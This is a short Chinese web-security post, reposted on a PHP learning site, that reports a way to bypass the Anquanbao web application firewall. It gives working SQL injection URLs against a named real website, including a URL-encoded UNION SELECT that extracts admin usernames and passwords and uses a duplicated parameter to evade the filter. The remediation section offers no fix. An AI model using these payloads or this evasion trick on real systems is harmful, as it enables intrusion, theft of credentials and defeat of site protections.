创新工厂安全宝安全防护绕过漏洞

创新工厂安全宝安全防护绕过漏洞 - 网站安全

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] 在某些web环境下，安全宝对防范sql的部分防护规则可被绕过,继续注入...http://www.51qljr.com/xinxi/shownews.asp?id=(-575) or 1=1简单加个括号http://www.51qljr.com/xinxi/shownews.asp?id=%28-575%29%20%2......

在某些web环境下，安全宝对防范sql的部分防护规则可被绕过,继续注入...

http://www.51qljr.com/xinxi/shownews.asp?id=(-575) or 1=1

简单加个括号
http://www.51qljr.com/xinxi/shownews.asp?id=%28-575%29%20%20or%281%29=%281%29

因此构造
http://www.51qljr.com/xinxi/shownews.asp?id=%28-575%29UNION%20%28SELECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17&id=%2818%29from%28admin%29%29
之所以使用复参是为了绕过智创那个防护

标准的www.safewaf.com也没有拦截

修复方案：
你懂的

不用逗号进行UNION - 网站安全 - 自学php

Wordpress HD Webplayer 1.1 SQL注射及修复 - 网站安全

子栏目

创新工厂安全宝安全防护绕过漏洞 - 网站安全

最新评论

添加评论

更多文章推荐

添加评论